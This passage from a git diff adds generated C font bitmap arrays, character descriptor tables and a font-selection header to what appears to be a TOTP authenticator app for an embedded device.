+*/ + +/* Character bitmaps for 7:12 Serif 24pt */ +const uint8_t _712Serif_24ptBitmaps[] = { + /* @0 '-' (14 pixels wide) */ + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0xFC, + 0x0F, + 0xFC, + 0x0F, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + + /* @28 '0' (14 pixels wide) */ + 0xF0, + 0x03, + 0xF0, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @56 '1' (14 pixels wide) */ + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xFC, + 0x00, + 0xFC, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xFC, + 0x0F, + 0xFC, + 0x0F, + + /* @84 '2' (14 pixels wide) */ + 0xF0, + 0x03, + 0xF0, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0xC0, + 0x03, + 0xC0, + 0x03, + 0x30, + 0x00, + 0x30, + 0x00, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xFC, + 0x0F, + 0xFC, + 0x0F, + + /* @112 '3' (14 pixels wide) */ + 0xF0, + 0x03, + 0xF0, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0xC0, + 0x03, + 0xC0, + 0x03, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @140 '4' (14 pixels wide) */ + 0x30, + 0x03, + 0x30, + 0x03, + 0x30, + 0x03, + 0x30, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0xFC, + 0x0F, + 0xFC, + 0x0F, + 0x00, + 0x03, + 0x00, + 0x03, + 0xC0, + 0x0F, + 0xC0, + 0x0F, + + /* @168 '5' (14 pixels wide) */ + 0xFC, + 0x0F, + 0xFC, + 0x0F, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0xFC, + 0x03, + 0xFC, + 0x03, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @196 '6' (14 pixels wide) */ + 0xF0, + 0x03, + 0xF0, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0xFC, + 0x03, + 0xFC, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @224 '7' (14 pixels wide) */ + 0xFC, + 0x0F, + 0xFC, + 0x0F, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + + /* @252 '8' (14 pixels wide) */ + 0xF0, + 0x03, + 0xF0, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @280 '9' (14 pixels wide) */ + 0xF0, + 0x03, + 0xF0, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x0F, + 0xF0, + 0x0F, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @308 'B' (14 pixels wide) */ + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0xFC, + 0x0F, + 0xFC, + 0x0F, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0xFF, + 0x0F, + 0xFF, + 0x0F, + + /* @336 'C' (14 pixels wide) */ + 0xF0, + 0x33, + 0xF0, + 0x33, + 0x0C, + 0x3C, + 0x0C, + 0x3C, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x30, + 0x03, + 0x30, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @364 'D' (14 pixels wide) */ + 0xFF, + 0x03, + 0xFF, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xFF, + 0x03, + 0xFF, + 0x03, + + /* @392 'F' (14 pixels wide) */ + 0xFF, + 0x3F, + 0xFF, + 0x3F, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0xFC, + 0x03, + 0xFC, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x3F, + 0x00, + 0x3F, + 0x00, + + /* @420 'G' (14 pixels wide) */ + 0xF0, + 0x33, + 0xF0, + 0x33, + 0x0C, + 0x3C, + 0x0C, + 0x3C, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x3F, + 0x03, + 0x3F, + 0x03, + 0x30, + 0x03, + 0x30, + 0x0C, + 0x3C, + 0x0C, + 0x3C, + 0xF0, + 0x33, + 0xF0, + 0x33, + + /* @448 'H' (14 pixels wide) */ + 0x3F, + 0x3F, + 0x3F, + 0x3F, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xFC, + 0x0F, + 0xFC, + 0x0F, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x3F, + 0x3F, + 0x3F, + 0x3F, + + /* @476 'J' (14 pixels wide) */ + 0x00, + 0x3F, + 0x00, + 0x3F, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @504 'K' (14 pixels wide) */ + 0x3F, + 0x3F, + 0x3F, + 0x3F, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x3F, + 0x3F, + 0x3F, + 0x3F, + + /* @532 'M' (14 pixels wide) */ + 0x0F, + 0x3C, + 0x0F, + 0x3C, + 0x3C, + 0x0F, + 0x3C, + 0x0F, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x3F, + 0x3F, + 0x3F, + 0x3F, + + /* @560 'N' (14 pixels wide) */ + 0x0F, + 0x3F, + 0x0F, + 0x3F, + 0x3C, + 0x0C, + 0x3C, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0x0C, + 0x0F, + 0x0C, + 0x0F, + 0x3F, + 0x0C, + 0x3F, + 0x0C, + + /* @588 'P' (14 pixels wide) */ + 0xFF, + 0x0F, + 0xFF, + 0x0F, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x3C, + 0x30, + 0x3C, + 0x30, + 0xCC, + 0x0F, + 0xCC, + 0x0F, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x3F, + 0x00, + 0x3F, + 0x00, + + /* @616 'Q' (14 pixels wide) */ + 0xF0, + 0x03, + 0xF0, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x03, + 0x30, + 0x03, + 0x30, + 0xF3, + 0x30, + 0xF3, + 0x30, + 0x03, + 0x33, + 0x03, + 0x33, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xF0, + 0x33, + 0xF0, + 0x33, + + /* @644 'R' (14 pixels wide) */ + 0xFF, + 0x0F, + 0xFF, + 0x0F, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0x0C, + 0x30, + 0xFC, + 0x0F, + 0xFC, + 0x0F, + 0x0C, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x3F, + 0x3F, + 0x3F, + 0x3F, + + /* @672 'T' (14 pixels wide) */ + 0xFF, + 0x3F, + 0xFF, + 0x3F, + 0xC3, + 0x30, + 0xC3, + 0x30, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xF0, + 0x03, + 0xF0, + 0x03, + + /* @700 'V' (14 pixels wide) */ + 0x3F, + 0x3F, + 0x3F, + 0x3F, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x30, + 0x03, + 0x30, + 0x03, + 0x30, + 0x03, + 0x30, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + + /* @728 'W' (14 pixels wide) */ + 0x3F, + 0x3F, + 0x3F, + 0x3F, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0xCC, + 0x0C, + 0x30, + 0x03, + 0x30, + 0x03, + 0x30, + 0x03, + 0x30, + 0x03, + + /* @756 'X' (14 pixels wide) */ + 0x3F, + 0x3F, + 0x3F, + 0x3F, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x30, + 0x03, + 0x30, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0x30, + 0x03, + 0x30, + 0x03, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x3F, + 0x3F, + 0x3F, + 0x3F, + + /* @784 'Y' (14 pixels wide) */ + 0x3F, + 0x3F, + 0x3F, + 0x3F, + 0x0C, + 0x0C, + 0x0C, + 0x0C, + 0x30, + 0x03, + 0x30, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xF0, + 0x03, + 0xF0, + 0x03, +}; + +/* Character descriptors for 7:12 Serif 24pt */ +/* { [Char width in bits], [Offset into _712Serif_24ptCharBitmaps in bytes] } */ +const FONT_CHAR_INFO _712Serif_24ptDescriptors[] = { + {14, 0}, /* - */ + {0, 0}, /* . */ + {0, 0}, /* / */ + {14, 28}, /* 0 */ + {14, 56}, /* 1 */ + {14, 84}, /* 2 */ + {14, 112}, /* 3 */ + {14, 140}, /* 4 */ + {14, 168}, /* 5 */ + {14, 196}, /* 6 */ + {14, 224}, /* 7 */ + {14, 252}, /* 8 */ + {14, 280}, /* 9 */ + {0, 0}, /* : */ + {0, 0}, /* ; */ + {0, 0}, /* < */ + {0, 0}, /* = */ + {0, 0}, /* > */ + {0, 0}, /* ? */ + {0, 0}, /* @ */ + {0, 0}, /* A */ + {14, 308}, /* B */ + {14, 336}, /* C */ + {14, 364}, /* D */ + {0, 0}, /* E */ + {14, 392}, /* F */ + {14, 420}, /* G */ + {14, 448}, /* H */ + {0, 0}, /* I */ + {14, 476}, /* J */ + {14, 504}, /* K */ + {0, 0}, /* L */ + {14, 532}, /* M */ + {14, 560}, /* N */ + {0, 0}, /* O */ + {14, 588}, /* P */ + {14, 616}, /* Q */ + {14, 644}, /* R */ + {0, 0}, /* S */ + {14, 672}, /* T */ + {0, 0}, /* U */ + {14, 700}, /* V */ + {14, 728}, /* W */ + {14, 756}, /* X */ + {14, 784}, /* Y */ +}; + +/* Font information for 7:12 Serif 24pt */ +const FONT_INFO _712Serif_24ptFontInfo = { + 14, /* Character height */ + '-', /* Start character */ + 'Y', /* End character */ + 2, /* Width, in pixels, of space character */ + _712Serif_24ptDescriptors, /* Character descriptor array */ + _712Serif_24ptBitmaps, /* Character bitmap array */ +}; diff --git a/applications/external/totp/ui/fonts/712serif/712serif.h b/applications/external/totp/ui/fonts/712serif/712serif.h new file mode 100644 index 000000000..81959064d --- /dev/null +++ b/applications/external/totp/ui/fonts/712serif/712serif.h @@ -0,0 +1,8 @@ +#pragma once + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +#include "../font_info.h" + +/* Font data for 7:12 Serif 24pt */ +extern const FONT_INFO _712Serif_24ptFontInfo; diff --git a/applications/external/totp/ui/fonts/active_font.h b/applications/external/totp/ui/fonts/active_font.h new file mode 100644 index 000000000..58c1e2d17 --- /dev/null +++ b/applications/external/totp/ui/fonts/active_font.h @@ -0,0 +1,27 @@ +#pragma once + +#include "../../features_config.h" +#include "font_info.h" + +#if TOTP_FONT == TOTP_FONT_MODENINE +#include "mode_nine/mode_nine.h" +#define TOTP_CODE_FONT_INFO modeNine_15ptFontInfo +#elif TOTP_FONT == TOTP_FONT_REDHATMONO +#include "redhat_mono/redhat_mono.h" +#define TOTP_CODE_FONT_INFO redHatMono_16ptFontInfo +#elif TOTP_FONT == TOTP_FONT_BEDSTEAD +#include "bedstead/bedstead.h" +#define TOTP_CODE_FONT_INFO bedstead_17ptFontInfo +#elif TOTP_FONT == TOTP_FONT_ZECTOR +#include "zector/zector.h" +#define TOTP_CODE_FONT_INFO zector_18ptFontInfo +#elif TOTP_FONT == TOTP_FONT_712SERIF +#include "712serif/712serif.h" +#define TOTP_CODE_FONT_INFO _712Serif_24ptFontInfo +#elif TOTP_FONT == TOTP_FONT_GRAPH35PIX +#include "graph35pix/graph35pix.h" +#define TOTP_CODE_FONT_INFO graph35pix_12ptFontInfo +#elif TOTP_FONT == TOTP_FONT_KARMAFUTURE +#include "karma_future/karma_future.h" +#define TOTP_CODE_FONT_INFO karmaFuture_14ptFontInfo +#endif \ No newline at end of file diff --git a/applications/external/totp/ui/fonts/bedstead/bedstead.c b/applications/external/totp/ui/fonts/bedstead/bedstead.c new file mode 100644 index 000000000..ec6680fab --- /dev/null +++ b/applications/external/totp/ui/fonts/bedstead/bedstead.c @@ -0,0 +1,1056 @@ +#include "bedstead.h" + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +/* +** Font data for Bedstead 17pt +*/ + +/* Character bitmaps for Bedstead 17pt */ +const uint8_t bedstead_17ptBitmaps[] = { + /* @0 '-' (13 pixels wide) */ + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0xF8, + 0x07, + 0xF8, + 0x07, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + + /* @32 '0' (13 pixels wide) */ + 0xE0, + 0x00, + 0xF0, + 0x01, + 0xF8, + 0x03, + 0xBC, + 0x07, + 0x1E, + 0x0F, + 0x0F, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x0F, + 0x1E, + 0x1E, + 0x0F, + 0xBC, + 0x07, + 0xF8, + 0x03, + 0xF0, + 0x01, + 0xE0, + 0x00, + + /* @64 '1' (13 pixels wide) */ + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xF8, + 0x00, + 0xF8, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xF8, + 0x03, + 0xF8, + 0x03, + + /* @96 '2' (13 pixels wide) */ + 0xF0, + 0x07, + 0xFC, + 0x0F, + 0x1E, + 0x1E, + 0x1E, + 0x1C, + 0x0E, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1E, + 0xC0, + 0x0F, + 0xE0, + 0x07, + 0xF0, + 0x00, + 0x7C, + 0x00, + 0x3E, + 0x00, + 0x1E, + 0x00, + 0x0E, + 0x00, + 0xFE, + 0x1F, + 0xFE, + 0x1F, + + /* @128 '3' (13 pixels wide) */ + 0xFE, + 0x1F, + 0xFE, + 0x1F, + 0x00, + 0x1C, + 0x00, + 0x1E, + 0x00, + 0x0F, + 0x00, + 0x0F, + 0x00, + 0x07, + 0xE0, + 0x07, + 0xE0, + 0x0F, + 0x00, + 0x1E, + 0x00, + 0x1C, + 0x0E, + 0x1C, + 0x1E, + 0x1C, + 0x3E, + 0x0E, + 0xFC, + 0x0F, + 0xF8, + 0x07, + + /* @160 '4' (13 pixels wide) */ + 0x80, + 0x03, + 0x80, + 0x03, + 0xE0, + 0x03, + 0xF0, + 0x03, + 0xF8, + 0x03, + 0xBC, + 0x03, + 0x9E, + 0x03, + 0x8F, + 0x03, + 0x87, + 0x03, + 0xFF, + 0x0F, + 0xFF, + 0x0F, + 0x80, + 0x03, + 0x80, + 0x03, + 0x80, + 0x03, + 0x80, + 0x03, + 0x80, + 0x03, + + /* @192 '5' (13 pixels wide) */ + 0xFF, + 0x1F, + 0xFF, + 0x1F, + 0x07, + 0x00, + 0x07, + 0x00, + 0xFF, + 0x07, + 0xFF, + 0x0F, + 0x00, + 0x1E, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x07, + 0x1C, + 0x0F, + 0x1E, + 0xFE, + 0x0F, + 0xFC, + 0x07, + 0xFC, + 0x07, + + /* @224 '6' (13 pixels wide) */ + 0xE0, + 0x07, + 0xF0, + 0x07, + 0x78, + 0x00, + 0x3C, + 0x00, + 0x1E, + 0x00, + 0x0F, + 0x00, + 0x07, + 0x00, + 0xFF, + 0x07, + 0xFF, + 0x0F, + 0x07, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x0F, + 0x1E, + 0x1E, + 0x0F, + 0xFE, + 0x0F, + 0xFC, + 0x07, + + /* @256 '7' (13 pixels wide) */ + 0xFE, + 0x1F, + 0xFE, + 0x1F, + 0x00, + 0x1C, + 0x00, + 0x1E, + 0x00, + 0x0F, + 0x80, + 0x07, + 0xC0, + 0x03, + 0xE0, + 0x01, + 0xF0, + 0x00, + 0x78, + 0x00, + 0x38, + 0x00, + 0x38, + 0x00, + 0x38, + 0x00, + 0x38, + 0x00, + 0x38, + 0x00, + 0x38, + 0x00, + + /* @288 '8' (13 pixels wide) */ + 0xFC, + 0x07, + 0xFE, + 0x0F, + 0x0F, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x0F, + 0x1E, + 0xFE, + 0x0F, + 0xFE, + 0x0F, + 0x0F, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x0F, + 0x1E, + 0x1E, + 0x0F, + 0xFE, + 0x0F, + 0xFC, + 0x07, + + /* @320 '9' (13 pixels wide) */ + 0xFC, + 0x07, + 0xFE, + 0x0F, + 0x0F, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x0F, + 0x1C, + 0xFE, + 0x1F, + 0xFC, + 0x1F, + 0x00, + 0x1C, + 0x00, + 0x1E, + 0x00, + 0x0F, + 0x80, + 0x07, + 0xC0, + 0x03, + 0xFC, + 0x01, + 0xFC, + 0x00, + + /* @352 'B' (13 pixels wide) */ + 0xFF, + 0x07, + 0xFF, + 0x0F, + 0x07, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1E, + 0xFF, + 0x0F, + 0xFF, + 0x0F, + 0x07, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1E, + 0x07, + 0x0F, + 0xFF, + 0x0F, + 0xFF, + 0x07, + + /* @384 'C' (13 pixels wide) */ + 0xFC, + 0x01, + 0xFE, + 0x07, + 0x0F, + 0x0F, + 0x07, + 0x0F, + 0x07, + 0x0E, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x0F, + 0x8F, + 0x0F, + 0xFE, + 0x07, + 0xFC, + 0x03, + + /* @416 'D' (13 pixels wide) */ + 0xFF, + 0x07, + 0xFF, + 0x0F, + 0x07, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1E, + 0x07, + 0x0F, + 0xFF, + 0x0F, + 0xFF, + 0x07, + + /* @448 'F' (13 pixels wide) */ + 0xFF, + 0x0F, + 0xFF, + 0x0F, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0xFF, + 0x03, + 0xFF, + 0x03, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + + /* @480 'G' (13 pixels wide) */ + 0xFC, + 0x07, + 0xFE, + 0x0F, + 0x0F, + 0x1F, + 0x0F, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x87, + 0x1F, + 0x87, + 0x1F, + 0x07, + 0x1C, + 0x0F, + 0x1C, + 0xFE, + 0x1F, + 0xFC, + 0x1F, + 0xFC, + 0x1F, + + /* @512 'H' (13 pixels wide) */ + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0xFF, + 0x1F, + 0xFF, + 0x1F, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + + /* @544 'J' (13 pixels wide) */ + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x00, + 0x1C, + 0x0E, + 0x1C, + 0x1E, + 0x1C, + 0x3E, + 0x1E, + 0xFC, + 0x0F, + 0xF8, + 0x07, + + /* @576 'K' (13 pixels wide) */ + 0x07, + 0x0E, + 0x07, + 0x0F, + 0x87, + 0x07, + 0xC7, + 0x03, + 0xE7, + 0x01, + 0xF7, + 0x00, + 0x7F, + 0x00, + 0x3F, + 0x00, + 0x3F, + 0x00, + 0x7F, + 0x00, + 0xF7, + 0x00, + 0xE7, + 0x01, + 0xC7, + 0x03, + 0x87, + 0x07, + 0x07, + 0x0F, + 0x07, + 0x0E, + + /* @608 'M' (13 pixels wide) */ + 0x07, + 0x1C, + 0x07, + 0x1C, + 0xBF, + 0x1F, + 0xFF, + 0x1F, + 0xFF, + 0x1F, + 0xE7, + 0x1C, + 0xE7, + 0x1C, + 0xE7, + 0x1C, + 0xE7, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + + /* @640 'N' (13 pixels wide) */ + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x3F, + 0x1C, + 0x7F, + 0x1C, + 0xFF, + 0x1C, + 0xE7, + 0x1F, + 0xC7, + 0x1F, + 0x87, + 0x1F, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + + /* @672 'P' (13 pixels wide) */ + 0xFF, + 0x07, + 0xFF, + 0x0F, + 0x07, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1E, + 0xFF, + 0x0F, + 0xFF, + 0x07, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + 0x07, + 0x00, + + /* @704 'Q' (13 pixels wide) */ + 0xFC, + 0x07, + 0xFE, + 0x0F, + 0x0F, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0xE7, + 0x1C, + 0xE7, + 0x1F, + 0xC7, + 0x0F, + 0x8F, + 0x07, + 0xDE, + 0x0F, + 0xFE, + 0x1F, + 0xFC, + 0x1C, + + /* @736 'R' (13 pixels wide) */ + 0xFF, + 0x07, + 0xFF, + 0x0F, + 0x07, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1E, + 0xFF, + 0x0F, + 0xFF, + 0x07, + 0xE7, + 0x00, + 0xE7, + 0x01, + 0xC7, + 0x03, + 0x87, + 0x07, + 0x07, + 0x0F, + 0x07, + 0x1E, + 0x07, + 0x1C, + + /* @768 'T' (13 pixels wide) */ + 0xFF, + 0x1F, + 0xFF, + 0x1F, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + + /* @800 'V' (13 pixels wide) */ + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x1F, + 0x1F, + 0xBC, + 0x07, + 0xB8, + 0x03, + 0xB8, + 0x03, + 0xF8, + 0x07, + 0xF0, + 0x03, + 0xE0, + 0x01, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + + /* @832 'W' (13 pixels wide) */ + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0xE7, + 0x1C, + 0xE7, + 0x1C, + 0xE7, + 0x1C, + 0xE7, + 0x1C, + 0xE7, + 0x1C, + 0xFF, + 0x1F, + 0xFE, + 0x0F, + 0xFE, + 0x0F, + 0xBC, + 0x07, + + /* @864 'X' (13 pixels wide) */ + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x0F, + 0x1E, + 0x1E, + 0x0F, + 0xBC, + 0x07, + 0xF8, + 0x03, + 0xF0, + 0x01, + 0xF0, + 0x01, + 0xF8, + 0x03, + 0xBC, + 0x07, + 0x1E, + 0x0F, + 0x0F, + 0x1E, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + + /* @896 'Y' (13 pixels wide) */ + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x0F, + 0x1E, + 0x1E, + 0x0F, + 0xBC, + 0x07, + 0xF8, + 0x03, + 0xF0, + 0x01, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, +}; + +/* Character descriptors for Bedstead 17pt */ +/* { [Char width in bits], [Offset into bedstead_17ptCharBitmaps in bytes] } */ +const FONT_CHAR_INFO bedstead_17ptDescriptors[] = { + {13, 0}, /* - */ + {0, 0}, /* . */ + {0, 0}, /* / */ + {13, 32}, /* 0 */ + {13, 64}, /* 1 */ + {13, 96}, /* 2 */ + {13, 128}, /* 3 */ + {13, 160}, /* 